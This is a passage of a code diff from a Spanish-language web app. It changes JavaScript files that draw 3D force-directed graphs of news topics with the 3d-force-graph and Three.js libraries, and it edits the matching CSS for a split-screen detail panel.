const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
const egoIds = new Set(egoNodes.map(n => n.id));
const egoLinks = lastGraphData.links.filter(lk => {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
return egoIds.has(s) && egoIds.has(t);
});
fullGraphData = lastGraphData;
graph.graphData({ nodes: egoNodes, links: egoLinks });
centerGraph();
document.getElementById('volverGrafoBtn').classList.add('visible');
}
function restoreFullGraph() {
if (fullGraphData) {
lastGraphData = fullGraphData;
fullGraphData = null;
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
centerGraph();
document.getElementById('volverGrafoBtn').classList.remove('visible');
}
}
function showNodeDetail(node) {
currentNode = node;
currentRelatedNodes = getRelated(node);
currentRelatedIdx = 0;
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
}
document.getElementById('prevRelation').addEventListener('click', () => {
if (currentRelatedIdx > 0) {
currentRelatedIdx--;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('nextRelation').addEventListener('click', () => {
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
currentRelatedIdx++;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('closeDetail').addEventListener('click', () => {
const split = document.querySelector('main.split-screen');
if (split) split.classList.remove('show-detail');
restoreFullGraph();
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
});
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
restoreFullGraph();
});
// --- Data fetch ---
async function getData(paramsObj = {}) { async function getData(paramsObj = {}) {
try { try {
let url = '/api/data'; let url = '/api/data';
const params = new URLSearchParams(); const params = new URLSearchParams();
// Establecer el tema fijo
params.append('tema', 'guerra global'); params.append('tema', 'guerra global');
// Agregar parámetros del formulario, incluyendo complejidad como umbral
for (const key in paramsObj) { for (const key in paramsObj) {
if (paramsObj[key] !== undefined && paramsObj[key] !== '') { if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
params.append(key, paramsObj[key]); params.append(key, paramsObj[key]);
} }
} }
url += `?${params.toString()}`; url += `?${params.toString()}`;
console.log('Fetch URL:', url); console.log('🔎 Fetch URL:', url);
const response = await fetch(url); const response = await fetch(url);
if (!response.ok) throw new Error(response.statusText); if (!response.ok) throw new Error(response.statusText);
const data = await response.json(); const data = await response.json();
const nodeIds = new Set(data.nodes.map(n => n.id)); console.log('Datos recibidos del servidor:', data);
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
// Filtrar enlaces inválidos
const nodeIds = new Set(data.nodes.map(node => node.id));
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
return data; return data;
} catch (error) { } catch (error) {
console.error('Error al obtener datos:', error); console.error('Error al obtener datos del servidor:', error);
return null; return null;
} }
} }
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
async function fetchAndRender() { async function fetchAndRender() {
const subtematica = document.getElementById('param2').value;
const palabraClave = document.getElementById('param1').value;
const fechaInicio = document.getElementById('fecha_inicio').value;
const fechaFin = document.getElementById('fecha_fin').value;
const nodos = document.getElementById('nodos').value;
const complejidad = document.getElementById('complejidad').value;
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
const paramsObj = { const paramsObj = {
subtematica: document.getElementById('param2').value, subtematica,
palabraClave: document.getElementById('param1').value, palabraClave,
fechaInicio: document.getElementById('fecha_inicio').value, fechaInicio,
fechaFin: document.getElementById('fecha_fin').value, fechaFin,
nodos: document.getElementById('nodos').value, nodos,
complejidad: document.getElementById('complejidad').value, complejidad // enviado al backend y usado de umbral en cliente
}; };
// Parsear complejidad a número
const umbralPct = parseFloat(complejidad) || 0;
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
const graphData = await getData(paramsObj); const graphData = await getData(paramsObj);
if (!graphData) return; if (!graphData) return;
lastGraphData = graphData;
graph.graphData({ nodes: graphData.nodes, links: graphData.links }); // Filtrar enlaces por umbral de similitud
let filteredLinks = graphData.links;
if (umbralPct > 0) {
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
}
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
centerGraph(); centerGraph();
} }
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); }); // Escuchar evento submit del formulario
form.addEventListener('submit', event => {
event.preventDefault();
fetchAndRender();
});
// Cargar gráfico inicial
fetchAndRender(); fetchAndRender();
}); });

View file

@ -1,61 +1,78 @@
// output_int_sec.js // output_int_sec.js
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
import * as THREE from 'three';
// Obtener el contenedor del gráfico
document.addEventListener('DOMContentLoaded', () => { document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('intSecContainer'); const elem = document.getElementById('intSecContainer');
const form = document.getElementById('paramForm'); const form = document.getElementById('paramForm');
const detailPanel = document.getElementById('detailPanel');
let lastGraphData = { nodes: [], links: [] }; // --- Etiqueta de texto con CanvasTexture (sin SpriteText externo) ---
let fullGraphData = null; function makeTextSprite(text) {
let currentRelatedNodes = []; if (!window.THREE) {
let currentRelatedIdx = 0; console.warn('THREE no está disponible; omito etiquetas.');
let currentNode = null; return undefined;
}
const pad = 16; // más padding para nitidez
const font = 'bold 36px Fira Code, monospace'; // fuente más grande
const textureCache = {}; // 1) preparar canvas al tamaño del texto
function getTexture(url) { const c = document.createElement('canvas');
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url); const ctx = c.getContext('2d');
return textureCache[url]; ctx.font = font;
const w = Math.ceil(ctx.measureText(text).width) + pad * 2;
const h = 50 + pad * 2;
c.width = w; c.height = h;
// 2) dibujar texto
ctx.font = font;
ctx.fillStyle = 'rgba(255,255,255,0.98)';
ctx.textBaseline = 'middle';
ctx.fillText(text, pad, h / 2);
// 3) textura -> sprite
const tex = new THREE.CanvasTexture(c);
tex.needsUpdate = true;
const mat = new THREE.SpriteMaterial({
map: tex,
transparent: true,
depthTest: false, // que no lo tape la esfera
depthWrite: false // que no escriba en el z-buffer
});
const spr = new THREE.Sprite(mat);
// tamaño del texto en “mundo”
const k = 0.22; // ajusta tamaño del texto (↑ más grande, ↓ más pequeño)
spr.scale.set(w * k, h * k, 1);
// elevar el texto sobre el nodo
spr.position.y = 8; // sube/baja si lo ves muy pegado
return spr;
} }
// Inicializar el gráfico 3D
const graph = ForceGraph3D()(elem) const graph = ForceGraph3D()(elem)
.backgroundColor('#000000') .backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id) .nodeLabel('id')
.nodeAutoColorBy('group') .nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 20 : 2) .nodeVal(1)
.linkColor(() => 'blue') .linkColor(() => 'blue')
.onNodeClick(node => showNodeDetail(node)) // Texto fijo sobre cada nodo (usando CanvasTexture)
.nodeThreeObject(n => makeTextSprite(n.id))
.nodeThreeObjectExtend(true) // mantiene esfera + texto
.onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; }) .onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => {
// Imagen local (nodos-imagen) directa; og:image remota de noticias via
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS).
let src = null, esNoticia = false;
if (node.type === 'imagen' && node.image_url) {
src = node.image_url;
} else if (node.imagen_url) {
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
esNoticia = true;
}
if (!src) return null;
const texture = getTexture(src);
texture.colorSpace = THREE.SRGBColorSpace;
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
if (esNoticia) sprite.scale.set(84, 55, 1);
else sprite.scale.set(160, 104, 1);
return sprite;
})
.nodeThreeObjectExtend(false)
.forceEngine('d3'); .forceEngine('d3');
// .d3Force('charge', d3.forceManyBody().strength(-400))
// .d3Force('link', d3.forceLink().distance(300).strength(1))
graph.d3Force('charge').strength(-150); // Centrado automático del gráfico
graph.d3Force('link').distance(70).strength(0.3);
graph.d3Force('center').strength(0.05);
function centerGraph() { function centerGraph() {
setTimeout(() => { setTimeout(() => {
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1); const width = elem.clientWidth;
const height = elem.clientHeight;
graph.zoomToFit(400, Math.min(width, height) * 0.1);
}, 500); }, 500);
} }
window.addEventListener('resize', () => { window.addEventListener('resize', () => {
@ -64,179 +81,98 @@ document.addEventListener('DOMContentLoaded', () => {
centerGraph(); centerGraph();
}); });
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; } // Mostrar contenido del nodo
function formatDate(fecha) { function showNodeContent(content) {
if (!fecha) return ''; if (!detailPanel) {
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); } console.log('Contenido del nodo:', content);
return;
} }
function formatTitle(id) { return String(id).replace(/_/g, ' '); } detailPanel.innerHTML = `
<h2 style="margin:0 0 8px">Detalle</h2>
function getRelated(node) { <pre style="white-space:pre-wrap; line-height:1.35; font-family:'Fira Code', monospace; font-size:14px; color:#e5e5e5;">${content || 'No hay contenido disponible.'}</pre>
const nid = node.id; `;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
return lastGraphData.nodes.filter(n => relIds.has(n.id));
}
function renderDetailPanel(node, related, idx) {
const detailContent = document.getElementById('detailContent');
const split = document.querySelector('main.split-screen'); const split = document.querySelector('main.split-screen');
if (!detailContent || !split) return; if (split) split.classList.add('show-detail');
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
const relCount = detailContent.querySelector('.relations-count');
const relLabel = document.getElementById('relationLabel');
const prevBtn = document.getElementById('prevRelation');
const nextBtn = document.getElementById('nextRelation');
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
if (related.length > 0) {
relLabel.textContent = formatTitle(related[idx].id);
prevBtn.disabled = idx <= 0;
nextBtn.disabled = idx >= related.length - 1;
} else {
relLabel.textContent = '—';
prevBtn.disabled = true;
nextBtn.disabled = true;
} }
const body = detailContent.querySelector('.detail-body'); // Función para obtener datos del servidor
body.innerHTML = '';
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
: (node.imagen_url || null);
if (_imgSrc) {
const img = document.createElement('img');
img.src = _imgSrc;
img.className = 'detail-img';
img.loading = 'lazy';
img.onerror = () => img.remove();
body.appendChild(img);
}
const text = document.createElement('span');
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
body.appendChild(text);
if (related.length > 0) {
const conexBtn = document.createElement('button');
conexBtn.id = 'verConexionesBtn';
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
conexBtn.addEventListener('click', () => showEgoGraph(node));
body.appendChild(conexBtn);
}
split.classList.add('show-detail');
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
}
function showEgoGraph(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
const egoIds = new Set(egoNodes.map(n => n.id));
const egoLinks = lastGraphData.links.filter(lk => {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
return egoIds.has(s) && egoIds.has(t);
});
fullGraphData = lastGraphData;
graph.graphData({ nodes: egoNodes, links: egoLinks });
centerGraph();
document.getElementById('volverGrafoBtn').classList.add('visible');
}
function restoreFullGraph() {
if (fullGraphData) {
lastGraphData = fullGraphData;
fullGraphData = null;
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
centerGraph();
document.getElementById('volverGrafoBtn').classList.remove('visible');
}
}
function showNodeDetail(node) {
currentNode = node;
currentRelatedNodes = getRelated(node);
currentRelatedIdx = 0;
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
}
document.getElementById('prevRelation').addEventListener('click', () => {
if (currentRelatedIdx > 0) {
currentRelatedIdx--;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('nextRelation').addEventListener('click', () => {
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
currentRelatedIdx++;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('closeDetail').addEventListener('click', () => {
const split = document.querySelector('main.split-screen');
if (split) split.classList.remove('show-detail');
restoreFullGraph();
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
});
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
restoreFullGraph();
});
async function getData(paramsObj = {}) { async function getData(paramsObj = {}) {
try { try {
let url = '/api/data'; let url = '/api/data';
const params = new URLSearchParams(); const params = new URLSearchParams();
// Establecer el tema fijo
params.append('tema', 'inteligencia y seguridad'); params.append('tema', 'inteligencia y seguridad');
// Agregar parámetros del formulario, incluyendo complejidad como umbral
for (const key in paramsObj) { for (const key in paramsObj) {
if (paramsObj[key] !== undefined && paramsObj[key] !== '') { if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
params.append(key, paramsObj[key]); params.append(key, paramsObj[key]);
} }
} }
url += `?${params.toString()}`; url += `?${params.toString()}`;
console.log('Fetch URL:', url); console.log('🔎 Fetch URL:', url);
const response = await fetch(url); const response = await fetch(url);
if (!response.ok) throw new Error(response.statusText); if (!response.ok) throw new Error(response.statusText);
const data = await response.json(); const data = await response.json();
const nodeIds = new Set(data.nodes.map(n => n.id)); console.log('Datos recibidos del servidor:', data);
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
// Filtrar enlaces inválidos
const nodeIds = new Set(data.nodes.map(node => node.id));
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
return data; return data;
} catch (error) { } catch (error) {
console.error('Error al obtener datos:', error); console.error('Error al obtener datos del servidor:', error);
return null; return null;
} }
} }
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
async function fetchAndRender() { async function fetchAndRender() {
const subtematica = document.getElementById('param2').value;
const palabraClave = document.getElementById('param1').value;
const fechaInicio = document.getElementById('fecha_inicio').value;
const fechaFin = document.getElementById('fecha_fin').value;
const nodos = document.getElementById('nodos').value;
const complejidad = document.getElementById('complejidad').value;
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
const paramsObj = { const paramsObj = {
subtematica: document.getElementById('param2').value, subtematica,
palabraClave: document.getElementById('param1').value, palabraClave,
fechaInicio: document.getElementById('fecha_inicio').value, fechaInicio,
fechaFin: document.getElementById('fecha_fin').value, fechaFin,
nodos: document.getElementById('nodos').value, nodos,
complejidad: document.getElementById('complejidad').value, complejidad // enviado al backend y usado de umbral en cliente
}; };
// Parsear complejidad a número
const umbralPct = parseFloat(complejidad) || 0;
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
const graphData = await getData(paramsObj); const graphData = await getData(paramsObj);
if (!graphData) return; if (!graphData) return;
lastGraphData = graphData;
graph.graphData({ nodes: graphData.nodes, links: graphData.links }); // Filtrar enlaces por umbral de similitud
let filteredLinks = graphData.links;
if (umbralPct > 0) {
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
}
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
centerGraph(); centerGraph();
} }
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); }); // Escuchar evento submit del formulario
form.addEventListener('submit', event => {
event.preventDefault();
fetchAndRender();
});
// Cargar gráfico inicial
fetchAndRender(); fetchAndRender();
}); });

View file

@ -1,61 +1,29 @@
// output_popl_up_pruebas.js // output_popl_up_pruebas.js
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
import * as THREE from 'three';
// Obtener el contenedor del gráfico
document.addEventListener('DOMContentLoaded', () => { document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('poplUpContainer'); const elem = document.getElementById('poplUpContainer');
const form = document.getElementById('paramForm'); const form = document.getElementById('paramForm');
let lastGraphData = { nodes: [], links: [] }; // Inicializar el gráfico 3D
let fullGraphData = null;
let currentRelatedNodes = [];
let currentRelatedIdx = 0;
let currentNode = null;
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
return textureCache[url];
}
const graph = ForceGraph3D()(elem) const graph = ForceGraph3D()(elem)
.backgroundColor('#000000') .backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id) .nodeLabel('id')
.nodeAutoColorBy('group') .nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 20 : 2) .nodeVal(1)
.linkColor(() => 'orange') .linkColor(() => 'orange')
.onNodeClick(node => showNodeDetail(node)) .onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; }) .onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => { .forceEngine('d3')
// Imagen local (nodos-imagen) directa; og:image remota de noticias via //.d3Force('charge', d3.forceManyBody().strength(-300))
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS). //.d3Force('link', d3.forceLink().distance(300).strength(1));
let src = null, esNoticia = false;
if (node.type === 'imagen' && node.image_url) {
src = node.image_url;
} else if (node.imagen_url) {
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
esNoticia = true;
}
if (!src) return null;
const texture = getTexture(src);
texture.colorSpace = THREE.SRGBColorSpace;
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
if (esNoticia) sprite.scale.set(84, 55, 1);
else sprite.scale.set(160, 104, 1);
return sprite;
})
.nodeThreeObjectExtend(false)
.forceEngine('d3');
graph.d3Force('charge').strength(-150);
graph.d3Force('link').distance(70).strength(0.3);
graph.d3Force('center').strength(0.05);
// Centrado automático del gráfico
function centerGraph() { function centerGraph() {
setTimeout(() => { setTimeout(() => {
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1); const width = elem.clientWidth;
const height = elem.clientHeight;
graph.zoomToFit(400, Math.min(width, height) * 0.1);
}, 500); }, 500);
} }
window.addEventListener('resize', () => { window.addEventListener('resize', () => {
@ -64,179 +32,98 @@ document.addEventListener('DOMContentLoaded', () => {
centerGraph(); centerGraph();
}); });
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; } // Mostrar contenido del nodo
function formatDate(fecha) { function showNodeContent(content) {
if (!fecha) return ''; console.log('Contenido del nodo:', content);
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
}
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
function getRelated(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
return lastGraphData.nodes.filter(n => relIds.has(n.id));
} }
function renderDetailPanel(node, related, idx) { // Función para obtener datos del servidor
const detailContent = document.getElementById('detailContent');
const split = document.querySelector('main.split-screen');
if (!detailContent || !split) return;
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
const relCount = detailContent.querySelector('.relations-count');
const relLabel = document.getElementById('relationLabel');
const prevBtn = document.getElementById('prevRelation');
const nextBtn = document.getElementById('nextRelation');
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
if (related.length > 0) {
relLabel.textContent = formatTitle(related[idx].id);
prevBtn.disabled = idx <= 0;
nextBtn.disabled = idx >= related.length - 1;
} else {
relLabel.textContent = '—';
prevBtn.disabled = true;
nextBtn.disabled = true;
}
const body = detailContent.querySelector('.detail-body');
body.innerHTML = '';
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
: (node.imagen_url || null);
if (_imgSrc) {
const img = document.createElement('img');
img.src = _imgSrc;
img.className = 'detail-img';
img.loading = 'lazy';
img.onerror = () => img.remove();
body.appendChild(img);
}
const text = document.createElement('span');
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
body.appendChild(text);
if (related.length > 0) {
const conexBtn = document.createElement('button');
conexBtn.id = 'verConexionesBtn';
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
conexBtn.addEventListener('click', () => showEgoGraph(node));
body.appendChild(conexBtn);
}
split.classList.add('show-detail');
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
}
function showEgoGraph(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
const egoIds = new Set(egoNodes.map(n => n.id));
const egoLinks = lastGraphData.links.filter(lk => {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
return egoIds.has(s) && egoIds.has(t);
});
fullGraphData = lastGraphData;
graph.graphData({ nodes: egoNodes, links: egoLinks });
centerGraph();
document.getElementById('volverGrafoBtn').classList.add('visible');
}
function restoreFullGraph() {
if (fullGraphData) {
lastGraphData = fullGraphData;
fullGraphData = null;
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
centerGraph();
document.getElementById('volverGrafoBtn').classList.remove('visible');
}
}
function showNodeDetail(node) {
currentNode = node;
currentRelatedNodes = getRelated(node);
currentRelatedIdx = 0;
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
}
document.getElementById('prevRelation').addEventListener('click', () => {
if (currentRelatedIdx > 0) {
currentRelatedIdx--;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('nextRelation').addEventListener('click', () => {
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
currentRelatedIdx++;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('closeDetail').addEventListener('click', () => {
const split = document.querySelector('main.split-screen');
if (split) split.classList.remove('show-detail');
restoreFullGraph();
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
});
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
restoreFullGraph();
});
async function getData(paramsObj = {}) { async function getData(paramsObj = {}) {
try { try {
let url = '/api/data'; let url = '/api/data';
const params = new URLSearchParams(); const params = new URLSearchParams();
// Establecer el tema fijo
params.append('tema', 'demografía y sociedad'); params.append('tema', 'demografía y sociedad');
// Agregar parámetros del formulario, incluyendo complejidad como umbral
for (const key in paramsObj) { for (const key in paramsObj) {
if (paramsObj[key] !== undefined && paramsObj[key] !== '') { if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
params.append(key, paramsObj[key]); params.append(key, paramsObj[key]);
} }
} }
url += `?${params.toString()}`; url += `?${params.toString()}`;
console.log('Fetch URL:', url); console.log('🔎 Fetch URL:', url);
const response = await fetch(url); const response = await fetch(url);
if (!response.ok) throw new Error(response.statusText); if (!response.ok) throw new Error(response.statusText);
const data = await response.json(); const data = await response.json();
const nodeIds = new Set(data.nodes.map(n => n.id)); console.log('Datos recibidos del servidor:', data);
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
// Filtrar enlaces inválidos
const nodeIds = new Set(data.nodes.map(node => node.id));
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
return data; return data;
} catch (error) { } catch (error) {
console.error('Error al obtener datos:', error); console.error('Error al obtener datos del servidor:', error);
return null; return null;
} }
} }
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
async function fetchAndRender() { async function fetchAndRender() {
const subtematica = document.getElementById('param2').value;
const palabraClave = document.getElementById('param1').value;
const fechaInicio = document.getElementById('fecha_inicio').value;
const fechaFin = document.getElementById('fecha_fin').value;
const nodos = document.getElementById('nodos').value;
const complejidad = document.getElementById('complejidad').value;
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
const paramsObj = { const paramsObj = {
subtematica: document.getElementById('param2').value, subtematica,
palabraClave: document.getElementById('param1').value, palabraClave,
fechaInicio: document.getElementById('fecha_inicio').value, fechaInicio,
fechaFin: document.getElementById('fecha_fin').value, fechaFin,
nodos: document.getElementById('nodos').value, nodos,
complejidad: document.getElementById('complejidad').value, complejidad // enviado al backend y usado de umbral en cliente
}; };
// Parsear complejidad a número
const umbralPct = parseFloat(complejidad) || 0;
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
const graphData = await getData(paramsObj); const graphData = await getData(paramsObj);
if (!graphData) return; if (!graphData) return;
lastGraphData = graphData;
graph.graphData({ nodes: graphData.nodes, links: graphData.links }); // Filtrar enlaces por umbral de similitud
let filteredLinks = graphData.links;
if (umbralPct > 0) {
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
}
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
centerGraph(); centerGraph();
} }
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); }); // Escuchar evento submit del formulario
form.addEventListener('submit', event => {
event.preventDefault();
fetchAndRender(); fetchAndRender();
}); });
// Cargar gráfico inicial
fetchAndRender();
});

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;
@ -176,29 +180,6 @@ nav {
background: #ff6600; background: #ff6600;
} }
#sidebar select {
padding: 10px;
border: 2px solid #39ff14;
background: black;
color: #39ff14;
border-radius: 5px;
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
transition: box-shadow 0.3s ease;
appearance: none;
cursor: pointer;
font-family: 'Fira Code', monospace;
font-size: 0.85em;
}
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
#sidebar select option { background: #0a0a0a; color: #39ff14; }
#sidebar .sim-val {
font-weight: bold;
color: #fff;
background: rgba(57,255,20,0.15);
border-radius: 3px;
padding: 0 4px;
}
footer { footer {
width: 100%; width: 100%;
background-color: #000000; background-color: #000000;
@ -236,54 +217,3 @@ footer p {
position: absolute; position: absolute;
left: 250px; left: 250px;
} }
/* ===== Panel de detalle (split-screen) ===== */
main.split-screen { display: flex; height: 100vh; }
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
#detailPanel {
width: 0; max-width: 0; overflow: hidden;
transition: width 0.3s ease, max-width 0.3s ease;
background: #0a0a0a; color: #fff;
position: relative; z-index: 4;
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
}
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
#closeDetail {
position: absolute; top: 12px; left: 12px;
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
transition: background 0.2s;
}
#closeDetail:hover { background: rgba(57,255,20,0.15); }
#detailContent {
padding: 52px 18px 20px; overflow-y: auto;
height: 100%; box-sizing: border-box;
display: none; flex-direction: column;
}
main.split-screen.show-detail #detailContent { display: flex; }
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
.detail-author { font-weight: bold; }
.detail-date { text-align: right; white-space: nowrap; }
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
.relations-nav { display: flex; align-items: center; gap: 6px; }
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
